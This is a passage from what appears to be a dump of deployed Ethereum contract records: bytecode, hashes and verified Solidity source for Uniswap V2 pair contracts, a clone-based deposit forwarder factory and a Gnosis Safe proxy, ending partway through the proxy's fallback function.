000000604482015290519081900360640190fd5b5050505050565b60008115806122035750508082028282828161220057fe5b04145b610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6d756c2d6f766572666c6f77000000000000000000000000604482015290519081900360640190fd5b80820382811115610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601560248201527f64732d6d6174682d7375622d756e646572666c6f770000000000000000000000604482015290519081900360640190fd5b6dffffffffffffffffffffffffffff841180159061230c57506dffffffffffffffffffffffffffff8311155b61237757604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601360248201527f556e697377617056323a204f564552464c4f5700000000000000000000000000604482015290519081900360640190fd5b60085463ffffffff428116917c0100000000000000000000000000000000000000000000000000000000900481168203908116158015906123c757506dffffffffffffffffffffffffffff841615155b80156123e257506dffffffffffffffffffffffffffff831615155b15612492578063ffffffff16612425856123fb86612a57565b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff169063ffffffff612a7b16565b600980547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff929092169290920201905563ffffffff8116612465846123fb87612a57565b600a80547bffffffffffffffffffffffffffffffffffffffffffffffffffffffff92909216929092020190555b600880547fffffffffffffffffffffffffffffffffffff0000000000000000000000000000166dffffffffffffffffffffffffffff888116919091177fffffffff0000000000000000000000000000ffffffffffffffffffffffffffff166e0100000000000000000000000000008883168102919091177bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167c010000000000000000000000000000000000000000000000000000000063ffffffff871602179283905560408051848416815291909304909116602082015281517f1c411e9a96e071241c2f21f7726b17ae89e3cab4c78be50e062b03a9fffbbad1929181900390910190a1505050505050565b73ffffffffffffffffffffffffffffffffffffffff808416600081815260026020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316600090815260016020526040902054612641908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff8085166000908152600160205260408082209390935590841681522054612683908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff80841660008181526001602090815260409182902094909455805185815290519193928716927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3505050565b600080600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663017e7e586040518163ffffffff1660e01b815260040160206040518083038186803b15801561275757600080fd5b505afa15801561276b573d6000803e3d6000fd5b505050506040513d602081101561278157600080fd5b5051600b5473ffffffffffffffffffffffffffffffffffffffff821615801594509192509061286457801561285f5760006127d86112576dffffffffffffffffffffffffffff88811690881663ffffffff6121e816565b905060006127e583612878565b90508082111561285c576000612813612804848463ffffffff61226e16565b6000549063ffffffff6121e816565b905060006128388361282c86600563ffffffff6121e816565b9063ffffffff612abc16565b9050600081838161284557fe5b04905080156128585761285887826128ca565b5050505b50505b612870565b8015612870576000600b555b505092915050565b600060038211156128bb575080600160028204015b818110156128b5578091506002818285816128a457fe5b0401816128ad57fe5b04905061288d565b506128c5565b81156128c5575060015b919050565b6000546128dd908263ffffffff612abc16565b600090815573ffffffffffffffffffffffffffffffffffffffff8316815260016020526040902054612915908263ffffffff612abc16565b73ffffffffffffffffffffffffffffffffffffffff831660008181526001602090815260408083209490945583518581529351929391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35050565b6000818310612989578161298b565b825b9392505050565b73ffffffffffffffffffffffffffffffffffffffff82166000908152600160205260409020546129c8908263ffffffff61226e16565b73ffffffffffffffffffffffffffffffffffffffff831660009081526001602052604081209190915554612a02908263ffffffff61226e16565b600090815560408051838152905173ffffffffffffffffffffffffffffffffffffffff8516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef919081900360200190a35050565b6dffffffffffffffffffffffffffff166e0100000000000000000000000000000290565b60006dffffffffffffffffffffffffffff82167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff841681612ab457fe5b049392505050565b80820182811015610df657604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601460248201527f64732d6d6174682d6164642d6f766572666c6f77000000000000000000000000604482015290519081900360640190fdfe556e697377617056323a20494e53554646494349454e545f4f55545055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f494e5055545f414d4f554e54556e697377617056323a20494e53554646494349454e545f4c4951554944495459556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4255524e4544556e697377617056323a20494e53554646494349454e545f4c49515549444954595f4d494e544544a265627a7a723158207dca18479e58487606bf70c79e44d8dee62353c9ee6d01f9a9d70885b8765f2264736f6c63430005100032 | // File: contracts/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: contracts/interfaces/IUniswapV2ERC20.sol
pragma solidity >=0.5.0;
interface IUniswapV2ERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
}
// File: contracts/libraries/SafeMath.sol
pragma solidity =0.5.16;
// a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math)
library SafeMath {
function add(uint x, uint y) internal pure returns (uint z) {
require((z = x + y) >= x, 'ds-math-add-overflow');
}
function sub(uint x, uint y) internal pure returns (uint z) {
require((z = x - y) <= x, 'ds-math-sub-underflow');
}
function mul(uint x, uint y) internal pure returns (uint z) {
require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow');
}
}
// File: contracts/UniswapV2ERC20.sol
pragma solidity =0.5.16;
contract UniswapV2ERC20 is IUniswapV2ERC20 {
using SafeMath for uint;
string public constant name = 'Uniswap V2';
string public constant symbol = 'UNI-V2';
uint8 public constant decimals = 18;
uint public totalSupply;
mapping(address => uint) public balanceOf;
mapping(address => mapping(address => uint)) public allowance;
bytes32 public DOMAIN_SEPARATOR;
// keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)");
bytes32 public constant PERMIT_TYPEHASH = 0x6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c9;
mapping(address => uint) public nonces;
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
constructor() public {
uint chainId;
assembly {
chainId := chainid
}
DOMAIN_SEPARATOR = keccak256(
abi.encode(
keccak256('EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)'),
keccak256(bytes(name)),
keccak256(bytes('1')),
chainId,
address(this)
)
);
}
function _mint(address to, uint value) internal {
totalSupply = totalSupply.add(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(address(0), to, value);
}
function _burn(address from, uint value) internal {
balanceOf[from] = balanceOf[from].sub(value);
totalSupply = totalSupply.sub(value);
emit Transfer(from, address(0), value);
}
function _approve(address owner, address spender, uint value) private {
allowance[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _transfer(address from, address to, uint value) private {
balanceOf[from] = balanceOf[from].sub(value);
balanceOf[to] = balanceOf[to].add(value);
emit Transfer(from, to, value);
}
function approve(address spender, uint value) external returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transfer(address to, uint value) external returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint value) external returns (bool) {
if (allowance[from][msg.sender] != uint(-1)) {
allowance[from][msg.sender] = allowance[from][msg.sender].sub(value);
}
_transfer(from, to, value);
return true;
}
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external {
require(deadline >= block.timestamp, 'UniswapV2: EXPIRED');
bytes32 digest = keccak256(
abi.encodePacked(
'\x19\x01',
DOMAIN_SEPARATOR,
keccak256(abi.encode(PERMIT_TYPEHASH, owner, spender, value, nonces[owner]++, deadline))
)
);
address recoveredAddress = ecrecover(digest, v, r, s);
require(recoveredAddress != address(0) && recoveredAddress == owner, 'UniswapV2: INVALID_SIGNATURE');
_approve(owner, spender, value);
}
}
// File: contracts/libraries/Math.sol
pragma solidity =0.5.16;
// a library for performing various math operations
library Math {
function min(uint x, uint y) internal pure returns (uint z) {
z = x < y ? x : y;
}
// babylonian method (https://en.wikipedia.org/wiki/Methods_of_computing_square_roots#Babylonian_method)
function sqrt(uint y) internal pure returns (uint z) {
if (y > 3) {
z = y;
uint x = y / 2 + 1;
while (x < z) {
z = x;
x = (y / x + x) / 2;
}
} else if (y != 0) {
z = 1;
}
}
}
// File: contracts/libraries/UQ112x112.sol
pragma solidity =0.5.16;
// a library for handling binary fixed point numbers (https://en.wikipedia.org/wiki/Q_(number_format))
// range: [0, 2**112 - 1]
// resolution: 1 / 2**112
library UQ112x112 {
uint224 constant Q112 = 2**112;
// encode a uint112 as a UQ112x112
function encode(uint112 y) internal pure returns (uint224 z) {
z = uint224(y) * Q112; // never overflows
}
// divide a UQ112x112 by a uint112, returning a UQ112x112
function uqdiv(uint224 x, uint112 y) internal pure returns (uint224 z) {
z = x / uint224(y);
}
}
// File: contracts/interfaces/IERC20.sol
pragma solidity >=0.5.0;
interface IERC20 {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
}
// File: contracts/interfaces/IUniswapV2Factory.sol
pragma solidity >=0.5.0;
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
// File: contracts/interfaces/IUniswapV2Callee.sol
pragma solidity >=0.5.0;
interface IUniswapV2Callee {
function uniswapV2Call(address sender, uint amount0, uint amount1, bytes calldata data) external;
}
// File: contracts/UniswapV2Pair.sol
pragma solidity =0.5.16;
contract UniswapV2Pair is IUniswapV2Pair, UniswapV2ERC20 {
using SafeMath for uint;
using UQ112x112 for uint224;
uint public constant MINIMUM_LIQUIDITY = 10**3;
bytes4 private constant SELECTOR = bytes4(keccak256(bytes('transfer(address,uint256)')));
address public factory;
address public token0;
address public token1;
uint112 private reserve0; // uses single storage slot, accessible via getReserves
uint112 private reserve1; // uses single storage slot, accessible via getReserves
uint32 private blockTimestampLast; // uses single storage slot, accessible via getReserves
uint public price0CumulativeLast;
uint public price1CumulativeLast;
uint public kLast; // reserve0 * reserve1, as of immediately after the most recent liquidity event
uint private unlocked = 1;
modifier lock() {
require(unlocked == 1, 'UniswapV2: LOCKED');
unlocked = 0;
_;
unlocked = 1;
}
function getReserves() public view returns (uint112 _reserve0, uint112 _reserve1, uint32 _blockTimestampLast) {
_reserve0 = reserve0;
_reserve1 = reserve1;
_blockTimestampLast = blockTimestampLast;
}
function _safeTransfer(address token, address to, uint value) private {
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(SELECTOR, to, value));
require(success && (data.length == 0 || abi.decode(data, (bool))), 'UniswapV2: TRANSFER_FAILED');
}
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,789 | d94ed50c4dc3508a6bcea8d22379a1a86cbe680002d96022b8c36b527096c524 | 8dc9427599870a087dfd93153c276c5dd2fdc3b9e86d87a6b4388d91c7faeb0e | 6cb44bab280eaa2d6fb8e798d0081dbf1ccea50f | ffa397285ce46fb78c588a9e993286aac68c37cd | 73d911b59c268422afb9318198256254885d9988 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 20,290,790 | 7ebdad362a6718e78bd8e05a10d82b4dc81219358ac5347d60d52323b94cd3d3 | fcec6b59515ecd16b54faf30080ec676f19dc48585e0c28eda1d8e21acdff470 | b5e64c26ac0c85a2853603711254d6ec51a1b1b0 | c22834581ebc8527d974f8a1c97e1bea4ef910bc | 293bdc70996c711fdc0128464029bd64c4eaf8a2 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000fb1bffc9d739b8d520daf37df666da4c687191ea | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
